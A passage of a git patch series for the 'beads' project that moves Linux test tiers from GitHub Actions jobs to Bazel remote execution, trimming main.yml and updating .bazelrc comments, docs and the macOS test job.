"true" since ga-96smfk.15: after the canary every fork and Dependabot + # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint + # becomes unreliable: commit "false" in both workflows. + BAZEL_COVERS_FORKS: "true" # bazel.yml's bazel-cmd-dolt lane (the cmd/bd Dolt-server tier: the # Dolt-gated cmd/bd tests no other lane runs) is advisory while this is # "false": it runs and reports in the bazel call (continue-on-error, so a diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 51bd82a8c..57102cc1f 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -998,7 +998,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and policy-tested) is `"true"`: their lanes then run remotely through rbe-fork (modes `fork-ro`/`fork-rw`), and a run rbe-fork does not serve (mode `cache`) turns `CI Gate / Required` red rather than falling back. - It ships `"false"`. + It is `"true"` (ga-96smfk.15): fork and Dependabot PRs run only the Bazel + lanes for the retired tiers. - Everyone else keeps the legacy tiers unchanged: - fork PRs, while `BAZEL_COVERS_FORKS` is `"false"` (their Bazel lanes run beside the legacy tiers: remotely while rbe-fork is open, else in From 9f60d71dae019310898a352b380b309551cf06cc Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 20:52:01 +0000 Subject: [PATCH 007/213] ci(main): push to main runs the Linux test tiers under Bazel only (#7316) bazel.yml already runs on every push to main and executes the PR Core, pure-Go, dolt-server, embedded, proxied, server-storage, integration and cmd/bd Dolt-server tiers on rbe-west in about five minutes. main.yml re-ran the same tiers as legacy go test jobs (62 jobs, about 380 runner-minutes a push), and its runs were all failing or cancelled. Remove the duplicated Linux jobs: the ubuntu -race -short leg with its Codecov upload, PR Core, the pure-Go compile check, domain+uow, the 6+8 integration shards, the 15 proxied shards, and the embedded build plus its storage, conformance and cmd shards. The macOS -race -short suite (rbe-west has no macOS workers) moves to Blacksmith macOS and restores the macOS saver's caches. The cache savers that fed the fork path from the removed jobs move to venue matrices: the macOS saver gains a GitHub-hosted leg, and the Linux saver gains a GitHub-hosted race leg (the embedded build used to seed it). Refs ga-96smfk.14 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 14 +- .github/workflows/main.yml | 855 ++-------------------- cmd/bd/BUILD.bazel | 12 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 17 +- internal/storage/dolt/BUILD.bazel | 2 +- internal/storage/embeddeddolt/BUILD.bazel | 4 +- scripts/bazel_policy_test.go | 32 +- scripts/ci/pr-core.sh | 3 +- scripts/ci/warm-non-race-cache.sh | 7 +- scripts/ci_f7b_review_test.go | 41 +- scripts/ci_workflow_test.go | 238 ++---- scripts/pull_dolt_image_test.go | 1 - 12 files changed, 217 insertions(+), 1009 deletions(-) diff --git a/.bazelrc b/.bazelrc index cc5f4c8c6..34695267f 100644 --- a/.bazelrc +++ b/.bazelrc @@ -139,10 +139,8 @@ test:doltserver --remote_download_regex=.*/test\.(log|xml)$ # ~4 cores, do not fit regardless of any single shard's wall time; bazel.yml # runs this one only with remote execution, in a job of its own # (bazel-proxied). The build is -# --config=doltserver's: race, like PR Risk's /tmp/bd-cmd-test (main.yml's -# twin job runs build-artifacts' non-race bd-cmd-test, so this is the -# stricter of the two); the subprocess bd is the non-race bd_for_tests, like -# the jobs'. Each shard runs its job's +# --config=doltserver's: race, like PR Risk's /tmp/bd-cmd-test; the +# subprocess bd is the non-race bd_for_tests, like the jobs'. Each shard runs its job's # shard script, whose -test.timeout=15m is past "long": the target is # eternal, which rbe-west caps at 1200s. test:doltserver-proxied --@rules_go//go/config:race @@ -204,7 +202,7 @@ test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # tag), the whole integration-tagged cmd/bd suite against a hermetic dolt # sql-server, i.e. the Dolt-gated cmd/bd tests every other lane skips # (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration, and -# in main.yml's and nightly.yml's go test jobs). The build flags are exactly +# in nightly.yml's go test job). The build flags are exactly # --config=integration's, so it compiles nothing bazel-integration does not # (shared through the remote cache). bazel.yml runs it where it runs the # integration lane (remote, or with the read-only cache in mode cache), in a @@ -228,9 +226,9 @@ test:doltserver-cmd --test_env=GO_TEST_WRAP_TESTV=1 test:doltserver-cmd --local_test_jobs=4 test:doltserver-cmd --remote_download_regex=.*/test\.(log|xml)$ -# Integration lane: main.yml's "Main Linux integration packages (N/6)" and -# "Main Linux integration cmd/bd (N/8)" jobs (and nightly.yml's Full Test -# Suite, which runs the same `go test` over ./... in one job): every package +# Integration lane: the `go test` main.yml's former "Main Linux integration" +# jobs ran on push (this lane replaced them; nightly.yml's Full Test Suite +# still runs the same `go test` over ./... in one job): every package # built with -tags=integration,gms_pure_go, race, no -short, no -skip, # BEADS_TEST_SKIP=dolt. The tag is set for the whole build, as `go test -tags` # does, not per target: gazelle generates srcs/deps with integration files diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 03d6edd5b..a05c26274 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,24 +13,6 @@ env: BD_DISABLE_EVENT_FLUSH: "1" jobs: - detect-ci-tier: - name: Detect CI tier - runs-on: ubuntu-latest - outputs: - full_embedded: ${{ steps.tier.outputs.full_embedded }} - reason: ${{ steps.tier.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide embedded Dolt coverage - id: tier - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: bash .github/scripts/ci-embedded-tier.sh - # Same guard as pr.yml's check-migration-hygiene: direct pushes to main # (and PR merges whose base moved) must not bypass the migration lints. # BASE_SHA is the pre-push tip; on force pushes or history rewrites the @@ -250,48 +232,6 @@ jobs: - run: ./scripts/check-go-install-guidance.sh - run: ./scripts/check-winget-portable-alias.sh - # Lock in the cgo-test-contamination fix (mybd-ycx / GH#3683 follow-up). - # cmd/bd carries a mix of cgo-only test helpers (embedded Dolt, sql.DB) and - # pure-Go tests. Untagged test files that reach for cgo-only helpers break - # the entire package's CGO_ENABLED=0 compile, silently neutering pure-Go - # tests (the original symptom in PR #3704). This job compiles the cmd/bd - # test binary with CGO_ENABLED=0 and runs the pure-Go subset, so a - # regression that re-introduces cgo coupling fails fast. - check-cmd-bd-puregeo-tests: - name: Check cmd/bd pure-Go tests compile (CGO_ENABLED=0) - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Build cmd/bd (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd - - - name: Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: | - go test -tags gms_pure_go -c -o /tmp/bd-cmd-puregeo-test ./cmd/bd - go test -tags gms_pure_go -c -o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt - go test -tags gms_pure_go -c -o /tmp/bd-tracker-puregeo-test ./internal/tracker - - - name: Run pure-Go cmd/bd test subset (CGO_ENABLED=0) - env: - CGO_ENABLED: "0" - # Restrict to tests that exercise pure-Go code paths. Tests that - # need a Dolt store skip themselves at runtime when no test server - # is available; the goal here is to catch compile-time contamination, - # not run the full suite. - run: | - go test -tags gms_pure_go -count=1 -short -run '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' ./cmd/bd - # Fast check to ensure all version files are in sync check-version-consistency: name: Check version consistency @@ -520,65 +460,6 @@ jobs: - name: Run PR policy wrapper run: make ci-pr-policy - pr-core-wrapper: - name: PR Core (wrapper timing) - runs-on: ubuntu-latest - needs: build-artifacts - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - id: restore-race-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run PR core wrapper - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - GOCACHE: ${{ runner.temp }}/go-cache/race - run: make ci-pr-core - # F7b: pr.yml's pr-lint-wrapper moved to same-repo Blacksmith # (blacksmith-4vcpu-ubuntu-2404) for same-repo PRs/merge_group, falling back # to ubuntu-latest for forks/Dependabot. golangci-lint's own cache and this @@ -663,40 +544,25 @@ jobs: ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - # Cross-platform test matrix (Linux/macOS only - Windows uses smoke tests) + # macOS full -race -short suite. Linux runs the same suite under Bazel + # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), + # and Windows uses smoke tests below; rbe-west has no macOS workers, so this + # is the one lane that still runs the suite on a runner. Blacksmith macOS, + # the image pr.yml's same-repo macOS legs use; blacksmith-macos-go-build-cache + # seeds its module and non-race caches, and this job saves only its own race + # cache (keyed per go.sum and UTC day, F7b review fix S7). # - # Both legs run every package in one `./...` invocation, so go test's DEFAULT - # 10m per-package deadline applied — and cmd/bd outgrew it. scripts/test.sh - # already documents the floor for local runs: cmd/bd is the slowest package at - # ~18min wall, which is why TEST_TIMEOUT defaults to 25m there. CI was still on - # the 10m default and rode the edge: on 2026-09-01 main run 33497003321 failed - # twice with `panic: test timed out after 10m0s` in cmd/bd AND, in the same - # coverage pass, internal/storage/uow — different tests only 1-12s in flight - # each attempt (a package-wide crawl on the 2-core coverage-instrumented - # runner, not a hang), while a rerun of the identical tree passed. Match - # scripts/test.sh's 25m per-package deadline and keep it inside one finite job - # budget, the same shape the storage/uow and conformance jobs below use: the go - # deadline fires first and prints goroutine stacks, so a REAL hang is still - # diagnosable rather than being cut off by a bare job kill. + # ./cmd/bd has outgrown `go test`'s 10m per-package default (see + # scripts/test.sh, scripts/ci/pr-core.sh and #6091), and when it trips the + # alarm the panic names whichever test was in flight, so it reads like a + # hang. -timeout=30m sits on the invocation and inside one finite job + # budget: the go deadline fires first and prints goroutine stacks, so a real + # hang is still diagnosable rather than cut off by a bare job kill. test: - name: Test (${{ matrix.os }}) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ${{ matrix.os }} - needs: build-artifacts + name: Test (macOS) + if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' + runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} timeout-minutes: 45 - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, macos-latest] - include: - # Linux: full test suite with coverage - - os: ubuntu-latest - coverage: true - test-flags: '-v -race -short -coverprofile=coverage.out' - # macOS: full test suite, no coverage (faster) - - os: macos-latest - coverage: false - test-flags: '-v -race -short' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -707,6 +573,10 @@ jobs: go-version-file: 'go.mod' cache: false + - name: Compute cache date + id: cache-date + run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" + - name: Restore Go module cache id: restore-go-module-cache uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 @@ -717,11 +587,10 @@ jobs: - name: Restore non-race Go build cache id: restore-non-race-go-build-cache - if: matrix.os == 'macos-latest' uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - name: Restore race Go build cache @@ -729,7 +598,7 @@ jobs: uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - name: Install Dolt (Linux/macOS) @@ -745,619 +614,25 @@ jobs: dolt config --global --add user.name "CI Bot" dolt config --global --add user.email "ci@beads.test" - - name: Install gotestsum - if: matrix.coverage - run: go install gotest.tools/gotestsum@v1.13.0 - - - name: Download build artifacts - if: matrix.os == 'ubuntu-latest' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - if: matrix.os == 'ubuntu-latest' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - name: Build - if: matrix.os != 'ubuntu-latest' env: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go build -v -tags gms_pure_go ./cmd/bd - # Seeds the GitHub-hosted macOS non-race GOCACHE that pr.yml's - # pr-preflight-platforms and check-doc-freshness-platforms macOS legs - # restore on the fork/Dependabot path (same-repo PRs run those legs on - # Blacksmith macOS, seeded by blacksmith-macos-go-build-cache) with the test - # packages they actually compile (./cmd/bd's test variant and its - # test-only deps, ./scripts both tag sets, gitattributespolicy). The - # Build step above only compiles the non-test ./cmd/bd graph, so the PR - # legs otherwise compile every test-only dependency cold on each run. - # Same shared script as the Linux and Windows seeders. - - name: Warm non-race GOCACHE for macOS preflight/doc-freshness - if: matrix.os == 'macos-latest' - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/warm-non-race-cache.sh - - # Both lanes below pass -timeout=30m explicitly. ./cmd/bd has outgrown - # `go test`'s 10m per-package default (see scripts/ci/pr-core.sh and - # #6091), and when it trips the alarm the panic names whichever test was - # in flight, so it reads like a hang rather than the package running out - # of clock. The flag lives on the invocation, not in matrix.test-flags, - # so editing the matrix cannot silently drop it. 30m matches every other - # -race lane here for this same code. - - name: Test (with coverage + JUnit XML) - if: matrix.coverage - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - GOCACHE: ${{ runner.temp }}/go-cache/race - run: | - gotestsum \ - --junitfile junit.xml \ - --format testdox \ - -- -tags gms_pure_go -race -short -timeout=30m -coverprofile=coverage.out -skip '^TestEmbedded' ./... - - name: Test - if: ${{ !matrix.coverage }} env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/bd GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go ${{ matrix.test-flags }} -timeout=30m -skip '^TestEmbedded' ./... - - - name: Upload coverage to Codecov - if: matrix.coverage && !cancelled() - uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v6 - continue-on-error: true - with: - files: coverage.out - token: ${{ secrets.CODECOV_TOKEN }} - fail_ci_if_error: false - - - name: Upload test results to Codecov - if: matrix.coverage && !cancelled() - uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v6 - continue-on-error: true - with: - files: junit.xml - token: ${{ secrets.CODECOV_TOKEN }} - report_type: test_results - fail_ci_if_error: false - - # Only the macOS leg owns macOS generations. The Linux leg restores the - # Linux writers above and must never become a second cache publisher. - - name: Save Go module cache - if: ${{ !cancelled() && matrix.os == 'macos-latest' && steps.restore-go-module-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - - - name: Save non-race Go build cache - if: ${{ !cancelled() && matrix.os == 'macos-latest' && steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} + run: go test -tags gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./... + # Restore-only for the module and non-race caches (the macOS saver + # owns them); this job is the race cache's only reader and writer. - name: Save race Go build cache - if: ${{ !cancelled() && matrix.os == 'macos-latest' && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} + if: ${{ !cancelled() && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - - # Focused job for the hexagonal storage layer (internal/storage/domain/* and - # internal/storage/uow). These packages back the proxied-server init path and - # also live behind the existing ./... matrix, but TestDomainDB requires the - # Dolt sql-server image cached locally (testcontainers checks `docker image - # inspect` and skips otherwise). Pulling the image up front guarantees the - # suite actually runs and surfaces failures here with a clear job name. - test-domain-uow: - name: Test (storage domain + uow) - runs-on: ubuntu-latest - needs: build-artifacts - # The race-enabled storage package has outgrown Go's implicit 10-minute - # timeout. Keep both per-package deadlines inside one finite job budget. - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Verify dolt on PATH - run: dolt version - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - # Without this, RequireDoltContainer reports doltNoImage and TestDomainDB skips. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Test domain + uow + tracker - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - # internal/storage/domain, internal/storage/uow, and internal/tracker - # run as concurrent package test binaries in this one invocation. - # testcontainers-go shares one Ryuk reaper per host; a failed - # handshake in one process can reap a sibling's live Dolt container - # mid-suite (be-2on). The runner is destroyed after the job, so the - # reaper buys nothing here and only costs this race. - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 15m -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/... - - # The doctor/fix DB-backed suite spins its own Dolt container in - # TestMain. BEADS_FIX_REQUIRE_DOLT=1 turns a missing container into a - # hard failure so the suite can never silently skip in CI again - # (bd-nxt5e: it was dark for months); this job pulls the image above. - - name: Test doctor/fix (Dolt-backed, hard-require container) - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - BEADS_FIX_REQUIRE_DOLT: "1" - # Pinned for consistency with the step above: this single-package - # step has no sibling test binary to race for the reaper (be-2on). - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ - - main-linux-integration-packages: - name: Main Linux integration packages (${{ matrix.shard }}/6) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ubuntu-latest - needs: build-artifacts - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Test package shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 6 - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - package_manifest="artifacts/main-linux-integration-packages-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_package_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - GO_TEST_SHARD_EXCLUDE_REGEX="^github.com/steveyegge/beads/cmd/bd$" \ - scripts/ci/go-test-shard-packages.sh "$SHARD" "$TOTAL_SHARDS" > "$package_manifest" - } - ci_time "list integration package shard ${SHARD}/${TOTAL_SHARDS}" -- write_package_manifest - cat "$package_manifest" - mapfile -t packages < "$package_manifest" - - if [[ "${#packages[@]}" -eq 0 ]]; then - echo "No packages assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - ci_time "main linux integration package shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/main-linux-integration-packages-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m "${packages[@]}" - - - name: Upload integration artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: main-linux-integration-packages-${{ matrix.shard }}-of-6 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - main-linux-integration-cmd-bd: - name: Main Linux integration cmd/bd (${{ matrix.shard }}/8) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ubuntu-latest - needs: build-artifacts - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Test cmd/bd shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 8 - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/main-linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "main linux integration cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/main-linux-integration-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload integration artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: main-linux-integration-cmd-bd-${{ matrix.shard }}-of-8 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - # End-to-end coverage for proxied-server CLI subcommands, sharded across the - # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt - # sql-server started via testcontainers by the shared proxied harness - # (cmd/bd/*_proxied_integration_test.go). - # - # Reuses the cmd/bd test binary compiled once by build-artifacts (bd-cmd-test): - # the proxied tests share the package and are gated at runtime by - # BEADS_TEST_PROXIED_SERVER=1. Shard assignment is committed in - # .github/scripts/proxied-cmd-test-shards.txt; newly-added - # TestProxiedServer*/TestServerMode* tests hash-distribute until listed there. - # Prefer the `TestProxiedServer` naming convention for new entry - # points; server-mode-topology suites named TestServerMode* are also - # discovered among the cmd/bd/*_test.go entry points, so neither family is - # left out of this lane. That glob is non-recursive: a container-gated suite - # added under cmd/bd// is still never selected here whatever it is - # named, so keep new proxied/server-mode entry points at the top level. - test-proxied-cmd: - name: Test (proxied-server cmd ${{ matrix.shard }}/15) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ubuntu-latest - needs: build-artifacts - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c 